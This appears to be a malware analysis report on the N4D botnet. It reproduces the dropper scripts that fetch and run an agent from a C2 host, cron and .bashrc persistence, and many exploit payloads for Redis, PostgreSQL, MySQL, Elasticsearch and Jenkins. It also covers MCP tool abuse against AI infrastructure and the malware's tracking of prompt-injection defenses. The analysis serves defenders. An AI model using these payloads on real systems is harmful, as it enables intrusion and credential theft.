Creating and immediately deleting a key tests the permission without leaving a persistent artifact in the IAM console's access key list.

Enumeration Scope

AWS ServiceData CollectedRisk
IAMUsers, groups, attached policies, policy documents; wildcard (Action: "*") policy detectionCreateAccessKey escalation probe
S3All bucket names; object listing in deep modeData exfiltration
EC2All instances across 12 regions: us-east-1/2, us-west-1/2, eu-west-1/2, eu-central-1, ap-south-1, ap-northeast-1, ap-southeast-1, ca-central-1, sa-east-1Lateral movement
Secrets ManagerSecret names and descriptionsKeys, tokens, passwords
SSM Parameter StoreParameter names, managed instance listRemote execution
RDSDatabase endpoints and engine typesReconnaissance
LambdaFunction names and runtimesReconnaissance

11. Dropper & Confirmed Compromise

The dropper infrastructure consists of three interrelated shell scripts. beacon.sh is the primary implant delivery mechanism deployed on newly compromised hosts. It downloads the Go agent binary, establishes two persistence mechanisms, and loops indefinitely. Separate scripts target specific victim categories: qq_watcher.sh monitors and auto-exploits QQ Message Bot MCP services. mesh_minimal.py serves as a Python-to-Go bridge for environments where direct Go binary execution is constrained.

beacon.sh - 8-Method Download Chain

The dropper attempts to download the Go agent from three URLs using eight successive download methods, in order from most preferred to least. Only on total failure does it exit. A size check (> 3MB) validates that a real binary was received, not a redirect page or error response:

#!/bin/bash
# Primary URLs (in priority order)
H="https://cdnorigin.net"          # TLS front on :443 (cdnorigin.net cert)
D="http://[REDACTED]:8443"          # Direct C2 on :8443 (fallback)
P="/api/agent/binary?arch=$B"       # $B = uname -m output

# Method 1 (preferred): curl with TLS
curl -fsSL -o "$TF" "$H$P"

# Method 2: curl --insecure (skip cert validation)
curl -fsSLk -o "$TF" "$H$P"

# Method 3-4: wget variants
wget -qO "$TF" "$H$P"
wget -qO "$TF" --no-check-certificate "$H$P"

# Method 5-6: Python fallbacks (py3/py2)
python3 -c "import urllib.request; urllib.request.urlretrieve('$H$P','$TF')"
python2 -c "import urllib; urllib.urlretrieve('$H$P','$TF')"

# Method 7: Perl
perl -e "use LWP::Simple; getstore('$H$P','$TF')"

# Method 8 (last resort): BusyBox wget (embedded Linux / IoT)
busybox wget -O "$TF" "$D$P"

# Size validation - reject anything smaller than 3 MB
if [ $(stat -c%s "$TF") -gt 3000000 ]; then
  chmod +x "$TF" && "$TF" &
fi

The cdnorigin.net HTTPS URL is always tried first. This ensures that in environments performing SSL inspection, the server name (rather than a raw IP) is what appears in inspection logs. Only if HTTPS fails completely does the dropper fall back to the plain-HTTP direct C2 connection.

Dual Persistence Mechanism

After first successful execution, beacon.sh installs two independent persistence mechanisms to survive reboots and user session restarts:

# Persistence 1: System cron (requires root)
# Hidden dot-prefixed filename in /etc/cron.d/ avoids cursory inspection
echo "*/2 * * * * root $CMD" > /etc/cron.d/.sys-health
# Runs every 2 minutes as root; re-downloads and re-executes the agent

# Persistence 2: Root .bashrc append
# Triggers on every interactive root login
echo "$CMD &" >> /root/.bashrc

The 2-minute cron interval means an agent killed by a defender is re-launched within 120 seconds from the same machine. Effective remediation requires both removing /etc/cron.d/.sys-health AND cleaning the root .bashrc entry, in addition to terminating the running agent process.

qq_watcher.sh - Confirmed RCE on QQ Bot MCP Server

A separate dropper script targets QQ Message Bot MCP services - instances where the QQ instant messaging platform's bot API is exposed via an MCP server. The script polls an MCP endpoint every 5 minutes, initiates a session, then calls execute_shell_command to download and execute the Go agent:

#!/bin/bash
# Target: QQ Message Bot MCP service (MCP "QQ Message Bot MCP服务")
TARGET_URL="http://[REDACTED]:5000/mcp"

while true; do
  # Step 1: MCP initialize - extract mcp-session-id from response headers
  SESSION=$(curl -s -D - -X POST "$TARGET_URL" \
    -d '{"jsonrpc":"2.0","method":"initialize","id":1,...}' \
    | grep -i "mcp-session-id" | awk '{print $2}')

  # Step 2: tools/call execute_shell_command with agent download one-liner
  curl -s -X POST "$TARGET_URL" \
    -H "mcp-session-id: $SESSION" \
    -d '{"jsonrpc":"2.0","method":"tools/call","id":2,
         "params":{"name":"execute_shell_command",
         "arguments":{"command":"curl -fsSLk https://cdnorigin.net/api/agent/binary?arch=amd64 -o /tmp/.agent && chmod +x /tmp/.agent && /tmp/.agent &"}}}'

  sleep 300   # poll every 5 minutes
done

Confirmed RCE event. The watcher script's output logs contain a successful execution timestamp: the agent binary was downloaded, made executable, and launched on the QQ bot host at approximately 22:19 UTC on 2026-06-20. The target delivered an agent to a production QQ messaging infrastructure server.

mesh_minimal.py - Python-to-Go Bridge

In environments where the Go binary cannot be directly invoked (restrictive execution policies, architecture mismatches, or constrained shells), a Python wrapper handles the transition. mesh_minimal.py (identified as v9.3-go-bridge) downloads the architecture-appropriate Go agent, launches it as a subprocess, then self-terminates to leave no Python process in the process list:

# mesh_minimal.py v9.3-go-bridge (simplified)
import subprocess, tempfile, os, requests

arch = subprocess.check_output(["uname", "-m"]).strip().decode()
agent_url = f"https://cdnorigin.net/api/agent/binary?arch={arch}"

data = requests.get(agent_url, verify=False).content
tf = tempfile.mktemp(prefix="kworker")
with open(tf, "wb") as f: f.write(data)
os.chmod(tf, 0o755)
subprocess.Popen([tf], close_fds=True)
os.remove(__file__)  # self-delete after launching Go agent

The temp file prefix kworker matches the agent's own process masquerade string (covered in Section 10), maintaining the kernel worker thread illusion even during the handoff from Python to Go.

Beacon Endpoint - v4.0

# controller_v4.py - lines 690-704
@app.get("/api/beacon")
async def beacon(req: Request):
    """Phone-home endpoint - called by the beacon script at the START of execution.
    Logs the target's IP, arch, and hostname so we can verify command execution."""
    ip = req.client.host if req.client else "?"
    arch = req.query_params.get("arch", "?")
    hostname = req.query_params.get("h", "?")
    port = req.query_params.get("p", "0")
    ts = time.time()
    print(
        f"[BEACON] ip={ip} arch={arch} host={hostname} port={port} ts={ts:.0f}",
        flush=True
    )
    with db() as c:
        cur = c.cursor()
        cur.execute(
            "INSERT INTO deploys "
            "(target_ip, target_port, target_server, deployed_by, status, created_at) "
            "VALUES (%s,%s,%s,%s,%s,%s)",
            (ip, int(port), "", "beacon", "beacon", ts)
        )
    return {"ok": True}

The beacon logs: target IP (from the connecting socket), CPU architecture (from uname -m in the shell script), hostname, and source port. This gives the operator everything needed to confirm real code execution and prioritize which hosts to follow up on manually. The endpoint is listed in OPEN_ENDPOINTS -- it requires no authentication, by design, since the beacon runs before any HMAC key is present on the victim.

The beacon URL pattern is: GET /api/beacon?arch=<arch>&h=<hostname>&p=<port>. This pattern appears in network logs as a reliable detection signal for a host actively being compromised.

12. Go Agent Binary — Full Capability Analysis

Static analysis of the debug build (n4d_debug, 7.3 MB, Jun 26 2026) exposes 170+ named Go functions in the main package. Combined with the Python polymorphic builder (build_agent.py), the picture that emerges is a two-tier agent design: a lightweight Python dropper that fetches and executes an obfuscated mesh agent, and a self-contained Go binary that contains the full exploit arsenal.

N4D Go agent binary capability map

Fig. 9 - N4D Go agent capability map: 170+ named functions organized into six attack categories — AI infrastructure, databases, web/app servers, cloud/infra, persistence, and stealth.

Binary Architecture

  • Language: Go (goroutine-based concurrency, single statically linked binary)
  • Architectures: amd64, arm64, arm, 386 — four simultaneous target platforms
  • Variants: debug build (symbols intact, ~7.3 MB) and stripped release (~7.0 MB)
  • Build sprint: 60+ numbered versions (v152–v176+) compiled on Jun 26 alone
  • Lock file: /dev/shm/.agent.lock and PID in /dev/shm/.agent.pid — prevents double-execution

Service Probe + Deploy Arsenal (30+ Modules)

Each target service has a paired probe* / deploy* function. The probe verifies the service is real and not a honeypot; the deploy function executes the appropriate exploit chain and reports back via POST /api/chains/result/.

ModuleFunction pairExploit technique
ElasticsearchesDeployGroovy script injection via _search; Log4Shell via index doc; Watcher cron persistence via /_watcher/watch/
RedisdeployRedisAccess / deployRedisCronUnauthenticated CONFIG SET to write cron jobs; cron drops next-stage agent
PostgreSQLpgDeploy / pgTryPLUDF / pgDblinkPivotCOPY TO PROGRAM RCE; PL/Perl UDF code exec; dblink lateral pivot to adjacent hosts
MySQLmysqlDeploy / mysqlTryExploitSELECT INTO OUTFILE cron injection; sys_eval() UDF if available
MongoDBmongoDeploy / mongoWireExploitWire-protocol exploit; $where JS eval on older versions; unauthenticated port 27017
Docker APIdeployDockerAPI / tryDockerSockEscapeUnauthenticated :2375 container creation; /var/run/docker.sock escape to host
Kubernetesk8sDeploy / etcdK8sPodWithTokenService account token abuse; etcd→K8s pod injection; kubectl execution; daemonset creation
JenkinsdeployJenkins / jenkinsScriptConsoleScript console Groovy RCE; /opt/jenkins/secrets/initialAdminPassword read; CLI remoting
NacosdeployNacos / probeNacosUnauthenticated config API (/nacos/v1/cs/configs); auth bypass user listing; re-access via backdoor account (POST /nacos/v1/auth/login, form-body: username=n4d_admin&password=n4d_admin123)
Spring GatewaydeploySpringGatewayActuator /actuator/gateway/routes/ SSRF/RCE (CVE-2022-22947)
WebLogicdeployWebLogicJNDI injection via handle parameter; ${T(java.lang.Runtime)} SpEL
ConsulconsulDeployUnauthenticated script health-check registration → RCE
XXL-JobdeployXXLJobGlue source code execution via executor API
AirflowdeployAirflowUnauthenticated API DAG trigger; forged Flask session cookie
SupersetdeploySuperset / buildSupersetPickleDefault secret key Flask cookie forgery; Python pickle deserialization RCE
SplunkdeploySplunkCustom search command injection; cron persistence via /etc/cron.d/splunk_health
MinIOdeployMinIODefault credentials access; object storage enumeration
RabbitMQrabbitmqDeployDefault guest:guest credentials; shovel plugin RCE via management API
ActiveMQactivemqDeployRemote code deployment via ActiveMQ XML configuration endpoint
Rclone RCDdeployRcloneRCDUnauthenticated Rclone remote control daemon; arbitrary file read/write via /rc/listhttp
Nginx UIdeployNginxUI / deployNginxUIChainPTY access via /api/pty WebSocket; path traversal to /etc/chromium.d/sys_alias
etcddeployEtcdUnauthenticated etcd v2/v3 key read; K8s secret extraction from /registry/secrets/
MCP (3 types)deployMCPFileRead / deployMCPShell / deployMCPSQLFile read, shell execution, SQL execution via MCP tool calls (see Section 03)
AKS MCPexploitAKSMCPAzure Kubernetes Service MCP server exploitation — cloud + AI tooling combined attack

Primary Attack Vector: MCP Protocol Exploitation

Model Context Protocol (MCP) servers are the critical entry vector with zero authentication requirements. MCP is Anthropic's JSON-RPC protocol for connecting AI assistants to external tools. The agent implements a generic MCP client that discovers exposed servers, enumerates their tool catalogs, and exploits dangerous tools (execute_command, read_file, query_database, Kubernetes calls) without needing prior knowledge of specific implementations. Post-exploitation, the agent deploys 30+ specialized modules targeting databases, containers, Kubernetes, and other infrastructure services. See Service Probe + Deploy Arsenal for the complete attack chain and Section 13 for AI platform targeting.

Credential Harvesting

The main.harvestCreds function has 4 independent sub-routines and is the primary intelligence collection entry point. main.mcpCredHarvest handles MCP-specific credential extraction. Per-service intel functions include pgGatherIntel, mysqlGatherIntel, mongoGatherIntel, and mongoGatherIntelNoAuth.

Additional collection paths: decryptBackupAndExtractSecret (attempts to decrypt encrypted backup archives), extractNodeSecretFromIni (reads INI-format config files for secrets), tryDecryptZipEntries (targets password-protected ZIP archives), and jenkinsReadFile (reads arbitrary files via Jenkins workspace API).

Persistence — Six Independent Mechanisms

FunctionPath / MethodSurvives
installPersistence (cron)/etc/cron.d/.sys-health, /etc/cron.d/.syscheckReboot, login shell restart
installBashrc/root/.bashrc appendEvery interactive shell spawn
installSystemdSystemd unit (service name obscured)Reboot, service restart
installSSHKey~/.ssh/authorized_keysOperator direct access — independent of agent
installWatchdogWatchdog process monitors agent; restarts on deathProcess kill, timeout

A sixth path was found in the binary: /etc/profile.d/sys_alias.sh, written by the Nginx UI and Grafana deploy modules as a login-trigger payload.

Stealth & Anti-Forensics

  • initHardening — initializes anti-debug and anti-ptrace checks at startup
  • setProcName — renames the process in /proc/self/cmdline to masquerade as a legitimate system process
  • stealthHeaders / stealthUA — randomizes HTTP headers and User-Agent per request
  • stealthDelayBeforeProbe — inserts randomized delay before service probing to avoid pattern detection
  • stealthRST — sends TCP RST after probing to prevent connection log entries
  • cleanupTraces — deletes logs, temp files, and execution artifacts post-operation
  • cleanOldBinaries — removes previous agent binary versions from disk

Network Propagation: CIDR and Lateral Scanning

Two dedicated scanning goroutine clusters drive C2-directed network propagation via operator-tasked reconnaissance. main.scanCIDR accepts CIDR blocks from the controller's task queue and fans out parallel probes across the entire range (confirmed: 5 concurrent goroutine functions in the debug build). main.scanLateral operates on locally derived target sets — it reads ARP tables, /etc/hosts, and SSH known_hosts entries from the current host and probes adjacent addresses on the same subnet without waiting for a per-task C2 assignment. The combination means a newly compromised host begins lateral scanning automatically within seconds after C2 task assignment, independent of waiting for further per-step confirmation.

Honeypot Detection Engine

The agent has a score-based honeypot detection system with six dedicated functions: hpScoreIP, hpAddScore, hpBlacklistCheck, hpIsBlacklisted, hpCheckMultiService, and hpVerifyDeploy. Targets scoring above a threshold are blacklisted and skipped. The Elasticsearch probe checks for the string es-no-real-data-possible-honeypot as a honeypot signal. Result type strings es_hp_suspect, docker_hp_suspect, and consul_hp_suspect are reported back to the C2 to update the global blacklist.

Cloudflare Quick Tunnel Mesh

The string .trycloudflare.com and the function main.startMeshTunnel confirm that agents can establish outbound Cloudflare Quick Tunnels — anonymous, certificate-signed HTTPS tunnels at randomly-assigned *.trycloudflare.com subdomains. This provides a C2 relay path that requires no domain registration, no static IP, and generates TLS traffic indistinguishable from legitimate Cloudflare traffic. The main.startRelay function likely uses this channel to allow operators to reach agents behind NAT or firewall with no inbound port requirements.

Interactive PTY / WebSocket Shell

The binary contains a full WebSocket implementation (wsDial, wsSendText, makeWSFrame, makeWSBinaryFrame) and connects to the C2 endpoint /api/pty. This gives operators an interactive pseudo-terminal session through the C2 web interface. The nginx_ui_pty result type and the Nginx UI exploit chain (deployNginxUIChain) also grant PTY access on the target side through the same WebSocket mechanism.

Embedded Credential Wordlist — Full Extraction

String extraction from the binary reveals two distinct credential sets: a generic brute-force password wordlist used across all services, and service-specific default credentials hardcoded per exploit module.

Generic Password Wordlist

PasswordLikely Targets
passwordPostgreSQL, MySQL, RabbitMQ, Redis, generic
admin123MySQL, Nacos, XXL-Job, web panels
P@ssw0rdMySQL, MSSQL, PostgreSQL
changemeJenkins, Grafana, generic defaults
Qwer1234Generic enterprise, web panels
minio123MinIO object storage
mysql123MySQL root / app users
tutorialSuperset, Airflow demo instances
root123FastGPT, generic root users
123456Grafana Renderer default, generic
postgres2024PostgreSQL (year-stamped, updated annually)
postgres2025PostgreSQL (year-stamped, updated annually)
Postgres@123PostgreSQL
postgrespassPostgreSQL

Service-Specific Hardcoded Credentials

ServiceCredential / SecretAttack vector
Nacos (backdoor re-access)n4d_admin : n4d_admin123Posted via main.deployNacos to POST /nacos/v1/auth/login (form-urlencoded: username=n4d_admin&password=n4d_admin123); operators create this backdoor account on initially compromised Nacos nodes then use the credential to re-authenticate and deploy the agent on return visits — confirmed by RIP-relative LEA disassembly tracing the string to main.deployNacos in the debug build
Grafana RendereruserName=admin&password=123456Login endpoint (/login); also harvests grafana_renderer_default_token
Kubernetesbootstrap-token.abcdef0123456789K8s bootstrap token for API server auth during cluster enumeration
Spring Gatewayabcdef.0123456789abcdefService account token injected in actuator bypass routes
Supersetsuperset_default_keyFlask SECRET_KEY — forges admin session cookies via itsdangerous
RabbitMQrabbitmq_default_credsManagement API (/api/overview) with default guest:guest
MinIOminio_default_creds + MINIO_ROOT_PASSWORD env harvestBootstrap verify endpoint + env var scrape from container metadata
XXL-Jobxxl_job_default_credsLogin endpoint (/xxl-job-admin/login), then job injection RCE
FastGPTroot123Code-server backend (/api/jobs/fastgpt_codeserver_rce)

The year-stamped PostgreSQL passwords (postgres2024, postgres2025) confirm the wordlist is actively maintained. A postgres2026 entry should be expected in future builds.

Exploit URL Templates — Full Extraction

Each exploit module uses a hardcoded URL template with %s:%d (host:port) substitution. The following templates were extracted verbatim from the binary and grouped by targeted service.

Elasticsearch / OpenSearch

URL TemplateTechnique
http://%s:%d/_search?q=${jndi:ldap://%s/a}Log4Shell via ES search parameter
http://%s:%d/${jndi:ldap://%s/a}/_docLog4Shell via document index path
http://%s:%d/_scripts/groovyGroovy dynamic script RCE (ES 1.x)
http://%s:%d/_search/templateSearch template injection
http://%s:%d/_watcher/watch/sys-check/_executeES Watcher — schedule curl/sh payload
http://%s:%d/_ingest/pipeline/sys-healthIngest pipeline script processor RCE
http://%s:%d/_sqlES SQL endpoint — info gathering
http://%s:%d/_snapshot/sysbackupSnapshot restore → file write path
http://%s:%d/_cat/indices?v&h=index,docs.count,store.sizeIndex enumeration
http://%s:%d/_bulkBulk index injection
http://%s:%d/_cluster/settingsCluster config enumeration

PostgreSQL

SQL / URLTechnique
COPY (SELECT 1) TO PROGRAM '%s'COPY TO PROGRAM — direct OS command execution as postgres user
SELECT lo_import('/usr/bin/curl', 99998)Large object import — smuggle curl binary via SQL
SELECT lo_export(lo_from_bytea(0, E'\x%s'), '/tmp/.n4d_pg.sh')Large object export — write payload script from hex bytes
COPY (SELECT '%s') TO '/etc/cron.d/.syscheck'Cron injection via COPY superuser privilege
CREATE OR REPLACE FUNCTION _sys_chk() RETURNS void AS $$ ... $$ LANGUAGE plperlPL/Perl UDF — exec arbitrary OS commands
SELECT dblink_connect('%s'); SELECT * FROM dblink_connect()dblink lateral pivot to other PostgreSQL instances
SELECT usename, passwd FROM pg_shadowPassword hash dump
SELECT name, setting FROM pg_settings WHERE name IN ('data_directory','hba_file',...)Config path enumeration for follow-on file-write attacks

MySQL / MariaDB

SQLTechnique
SELECT '%s' INTO OUTFILE '/etc/cron.d/.syscheck'FILE privilege → direct cron write
SELECT '%s' INTO OUTFILE '/var/lib/mysql-files/.deploy.sh'FILE privilege → secure_file_priv bypass via allowed dir
SELECT '%s' INTO DUMPFILE '/var/lib/mysql-files/.deploy.sh'DUMPFILE variant (binary-safe)
CREATE EVENT IF NOT EXISTS _sys_check ON SCHEDULE EVERY 1 MINUTE DO SELECT sys_exec('%s')Event scheduler + sys_exec UDF for persistent execution
CREATE TRIGGER sys_trig BEFORE INSERT ON sys_tmp FOR EACH ROW BEGIN SET @cmd=sys_exec('%s'); ENDTrigger-based RCE via sys_exec UDF
EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; EXEC xp_cmdshell '%s'MSSQL xp_cmdshell enable + execute
SELECT user, host, authentication_string FROM mysql.userMySQL 8.x hash dump
SELECT table_schema,table_name FROM information_schema.tablesSchema enumeration before credential/data harvest

MongoDB

URL / CommandTechnique
http://%s:28017/admin/$cmd/?filter_eval=%sMongoDB REST API eval — arbitrary JS execution (MongoDB <3.6)
http://%s:28017/file_write_shellREST API file write path
function(){ try { os.system('%s'); } catch(e) { ... } return 1; }JS payload injected via filter_eval
db.adminCommand({serverStatus:1})Honeypot detection probe — legitimate servers respond, honeypots often don't
system.users / collections_system_usersCredential collection targets via listCollections

Redis

CommandTechnique
CONFIG SET dir /var/spool/cron/crontabsRedis cron injection — write cron tab via Redis persistence
CONFIG SET dbfilename rootSet dump filename to "root" in /var/spool/cron/
SET x %s / BGSAVEWrite payload content then trigger background save
FLUSHALLClear keyspace before writing payload to avoid noise
os.execute('chmod +x /tmp/.n4d_redis.sh && /tmp/.n4d_redis.sh &') return 1 end return 0Lua script payload executed via EVAL command
*2·$3·GET / *2·$3·DELRaw RESP protocol frames — bypasses client library detection
redis-accepts-any-passwordInternal flag marking unauthenticated Redis instances for auto-exploit

Kubernetes / etcd / Cloud

URL TemplateTechnique
https://%s:%d/api/v1/pods?fieldSelector=status.phase=RunningList running pods — target selection
https://%s:%d/exec/%s/%s/%s?command=sh&command=-c&command=%s&output=1Pod exec — arbitrary command in running container
http://%s:%d/v2/keys/registry/secrets?recursive=trueetcd v2 — dump all Kubernetes secrets (API tokens, TLS certs)
http://%s:%d/v2/keys/registry/pods/default/sys-health-checketcd v2 — inject privileged pod definition
http://%s:%d/v3/kv/put / /v3/kv/rangeetcd v3 gRPC-gateway — read/write all cluster state
http://%s:%d/containers/create?name=sys-health-monitorDocker API — create privileged container
http://%s:%d/containers/%s/execDocker API — exec in existing container
nicolaka/netshoot:latestNetwork diagnostic container deployed for internal subnet scanning

Web / App Servers

URL TemplateService / Technique
http://%s:%d/scriptTextJenkins Script Console — Groovy RCE
http://%s:%d/cliJenkins CLI endpoint
http://%s:%d/console/console.portal?_nfpb=true&...java.lang.RuntimeWebLogic Admin Console JNDI/RMI injection
http://%s:%d/actuator/gateway/routes/sys_health_checkSpring Cloud Gateway actuator route injection → SPEL RCE
http://%s:%d/actuator/jolokia / /actuator/env / /actuator/refreshSpring Boot actuator chain — env leak + SPEL injection
http://%s:%d/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=10Nacos unauthenticated config dump
http://%s:%d/nacos/v1/auth/users?pageNo=1&pageSize=10Nacos unauthenticated user enumeration
http://%s:%d/xxl-job-admin/login → /xxl-job-admin/jobinfo/addXXL-Job default creds login + Groovy job injection
http://%s:%d/api/experimental/dags/%s/dag_runsApache Airflow unauthenticated DAG trigger (v1 API)
http://%s:%d/api/v1/dags/%s/dagRunsApache Airflow v2 API DAG run injection
http://%s:%d/en-US/splunkd/__raw/v1/postgres/recovery/restoreSplunk PostgreSQL restore — arbitrary file write as splunk user
http://%s:%d/api/parameters/rabbitmq_exec/%%2F/sys-checkRabbitMQ management API exec plugin — command execution
http://%s:%d/api/parameters/shovel/%%2F/sys-checkRabbitMQ Shovel plugin — message forwarding abuse for RCE
http://%s:%d/v1/agent/service/registerConsul unauthenticated service registration — health check RCE
http://%s:%d/rc/command / /rc/list / /fs/execRclone RC API — arbitrary filesystem operations
http://localhost/","filePath":"../../etc/chromium.d/sys_alias"}Nginx UI path traversal — write to arbitrary config path
http://%s:%d/minio/bootstrap/v1/verify → /login/MinIO bootstrap verify + credential bruteforce
http://%s:%d/render/csvGrafana Image Renderer SSRF → arbitrary file read
http://%s:%d/api/upload/pluginGrafana unauthenticated plugin upload (older builds)

AI / ML Infrastructure

URL TemplateService / Technique
https://%s:%d/run/%s/%s/%sRay Dashboard — job submission with arbitrary bash -c entrypoint
http://%s:%d/api/jobs/fastgpt_codeserver_rceFastGPT code-server backend — no-auth code execution
http://%s:%d/pickleLightLLM inference server — pickle deserialization RCE endpoint

General-Purpose & Notebook Tools

URL TemplateService / Technique
http://%s:%d/api/kernels → /api/kernels/%s/channelsJupyter — list kernels then open WebSocket to execute code
http://%s:%d/api/kernelspecsJupyter Gateway — spec enumeration, reveals kernel types
{"name":"python_kubernetes","env":{"KERNEL_POD_NAME":"test-%s","KERNEL_NAMESPACE":"default"}}Jupyter Enterprise Gateway — spawn kernel pod in default namespace with attack payload
http://%s:%d/mcpcontextMCP server root — session initiation probe
http://%s:%d/api/v1/database/Superset DB connection API — credential leak via connection test

Exploit Payload Templates — Full Extraction

The binary contains 7 distinct payload language families, each adapted to the target execution environment. All ultimately execute the same downloader one-liner.

LanguageContextPayload Pattern
Log4Shell Any Java app, Elasticsearch, Spring ${jndi:ldap://%s/a}
Groovy (Jenkins) Jenkins Script Console, Elasticsearch new ProcessBuilder(new String[]{"sh","-c",params.cmd}).start()
Groovy (Runtime) ES Groovy scripting, Jenkins pipeline Runtime.getRuntime().exec(new String[]{"sh","-c",params.cmd})
Java Reflection WebLogic, Spring Boot actuator Class.forName('java.lang.Runtime').getMethod('exec',...).invoke(..., new String[]{"sh","-c",cmd})
Python SSTI Jupyter Gateway, Superset, FastGPT ${__import__('os').system('curl -s -m 30 %s -o /tmp/.n4d && ...')}
Lua Redis EVAL, Nginx Lua modules os.execute('chmod +x /tmp/.n4d_redis.sh && /tmp/.n4d_redis.sh &') return 1 end return 0
JavaScript MongoDB eval REST API function(){ try { os.system('%s'); } catch(e) {} return 1; }
Groovy DSL Jenkins Groovy script, Spring Actuator def proc = ["sh", "-c", "curl ... /tmp/.n4d ..."].execute()
SQL (MySQL UDF) MySQL with sys_exec UDF loaded CREATE EVENT ... DO SELECT sys_exec('sh /tmp/.n4d_mysql.sh')
Shell multi-method All — 6-fallback downloader chain curl → wget → busybox wget → python3 → python2 → perl (chunked 256KB)

The downloader one-liner is consistent across all payload families:

curl -s -m 30 %s/api/agent/binary?arch=$B -o /tmp/.n4d \
  && chmod +x /tmp/.n4d \
  && setsid /tmp/.n4d </dev/null >/dev/null 2>&1 &

The $B variable resolves to amd64, arm64, arm, or 386 based on uname -m. The agent also beacons arch and hostname to /api/beacon?arch=$B&h=$(hostname) before attempting the download, giving operators real-time visibility into which targets executed the dropper.

13. N4D: Four Integrated Capabilities

13.1 Overview: Why These Four Capabilities Matter

N4D distinguishes itself through a combination of four capabilities integrated into a single botnet. This is not a botnet defined by a single new exploit, but rather the strategic integration of multiple attack components:

1. Generic MCP Exploitation Framework: N4D implements a C2-controlled MCP exploitation framework that exploits any unauthenticated MCP server implementation without prior knowledge of the specific server type. The agent auto-discovers tool catalogs via JSON-RPC handshake (initialize + tools/list), classifies tools by dangerousness, and automatically invokes dangerous capabilities (execute_command, read_file, query_database, call_kubectl, call_az, call_helm). This represents a generic approach to tool exploitation at scale without server-specific configuration—targeting the protocol itself rather than individual CVEs.

2. AI Infrastructure Targeting with CVE-Specific Chains: Once inside a compromised host, the agent deploys 30+ specialized modules including 3 dedicated AI platform exploits (see Section 13 for details). The binary postdates all AI CVEs by 100+ days, confirming systematic exploitation of already-patched vulnerabilities. The binary also encodes explicit result classification for prompt injection defenses, indicating active engagement with defensive AI systems.

3. Automated Multi-Step Exploit Chaining Engine (Escalation): The presence of pathing_engine.py marks a significant capability escalation from opportunistic scanning to strategic lateral movement planning. The engine generates multi-step exploitation chains: scan → find exposed tool → execute command → harvest credentials → deploy agent → scan adjacent networks. This is implemented via a 21-template exploit registry with metadata for reliability, severity, capability requirements, and capability provision. Each compromised host becomes a planned stepping stone in a broader network traversal, not an incidental victim.

4. Defense-Aware Malware with Prompt Injection Categorization: N4D encodes awareness of prompt injection as a security category (rather than as an attack technique). The binary classifies results with a dedicated prompt_injection_defense_detected result type. This indicates the threat actor is actively engaging deployed AI systems and has encountered prompt injection defenses sufficiently often to warrant automated categorization.

What This Means: These four capabilities exist separately in known malware: MCP protocol access exists, AI platforms have known CVEs, lateral movement planning is established technique, and malware detection evasion is common. What N4D demonstrates is the integrated deployment of these capabilities in a single C2-controlled botnet with tactical agent autonomy: generic protocol exploitation + AI infrastructure targeting + automated chaining + active defense awareness. This combination defines a new operational model in botnet design.

The following analysis is derived from string extraction and symbol table forensics on the n4d_debug binary combined with source-level review of the Python toolkit.

Critical Findings: LightLLM exploitation is confirmed by CVE-2026-26220 (CVSS 9.3, Feb 2026). Ray Dashboard and FastGPT exploits leverage unauthenticated API access patterns and privilege escalation chains. The generic MCP client framework exploits the MCP protocol directly through C2 command and control. This is not addressed by CVE advisories targeting individual MCP servers. N4D's capability to enumerate any MCP server's tool catalog and automatically invoke dangerous tools via C2 direction operates at the protocol level—a different attack surface than specific server vulnerabilities. The prompt injection defense detection capability and credential harvesting via MCP responses indicate active engagement with deployed AI systems. Immediate patching is critical. Administrators should apply all available security patches and disable MCP servers where not explicitly required.

Timeline showing LightLLM issue #784 (Mar 2025), vLLM CVE-2025-32444 (Apr 2025), CVE-2026-26220 (Feb 15 2026), CVE-2026-27944 (Mar 5 2026), CVE-2026-33032 MCPwn (Mar 15 2026), CVE-2026-39987 (Apr 8 2026), NSA/CISA MCP advisory (Jun 2 2026), and N4D binary compilation (Jun 26 2026)
Fig. 10 — CVE Disclosure Timeline vs N4D Compilation. All CVEs confirmed via NVD, VulnCheck, GitHub advisories, and CISA KEV. Binary date from ELF build metadata. The N4D binary postdates all four CVE patches by 23 to 113 days, indicating continued exploitation of already-patched vulnerabilities against unpatched deployments.

13.2 MCP Protocol Exploitation + 3 AI Platforms

Confidence: HIGH — C2-controlled botnet exploitation of generic MCP protocol is novel; server-specific CVEs exist but do not cover N4D's generic approach.

The agent implements a complete, purpose-built MCP (Model Context Protocol) client from scratch. MCP is an Anthropic-developed JSON-RPC protocol for connecting AI assistants to external tools, published in November 2024. NSA and CISA published an MCP security advisory on June 2, 2026, and more than 30 CVEs were filed for specific MCP server implementations between January and February 2026 (including CVE-2025-49596, CVSS 9.4, and CVE-2025-6514, CVSS 9.6). None of those advisories address N4D's approach: a C2-controlled botnet client that probes any MCP-compliant server via operator-tasked reconnaissance, enumerates its tool catalog, and exploits whichever dangerous tools it finds — without prior knowledge of the specific server implementation. This generic exploitation framework has no equivalent in published exploit tooling.

The attack chain reconstructed from binary strings:

  1. Discovery: probeMCP identifies MCP servers via HTTP/WebSocket handshake. The agent sends initialize + tools/list JSON-RPC calls and parses the returned tool catalog.
  2. Classification: parseMCP scores tools by dangerousness. Confirmed targeted tool names extracted from binary: execute_command, read_file, file_write, query_database. Cloud-specific tools detected: call_kubectl, call_az, call_helm, call_cilium, call_hubble.
  3. Exploitation: mcpCallWithInit establishes a session (mcpInitSession) then invokes dangerous tools directly. Result types confirm two primary paths:
    • mcp_execute_shell — shell command execution via MCP tools
    • mcp_execute_query — SQL execution via MCP database tools
  4. Credential harvest: mcpCredHarvest iterates all server responses looking for secrets. Log strings confirm per-tool tracking: %s mcpCredHarvest %s:%d%s tool=%s text_empty=%d and %s mcpCredHarvest %s:%d%s tool=%s skip: nil=%v hasError=%v.

The exploitAKSMCP module extends this framework to Azure Kubernetes Service environments where AKS clusters expose MCP servers as AI tooling frontends. The binary contains the diagnostic string AKS MCP branch for %s:%d confirming a dedicated branch in the exploit logic for this target type. Failure is tracked separately as aks_mcp_fail.

Prompt Injection Defense Detection — Defensive Awareness in AI-Targeted Malware

Novel capability: At binary offset 0x3fe96e, the malware encodes the literal string prompt injection detection packed consecutively with standard result-type tags (nginx_ui_pty, weblogic_rce, lightllm_rce). This tag indicates the agent detects and classifies when AI systems have active prompt injection defenses, treating such systems as targets that require escalation (SSH key deployment) once a foothold is established.

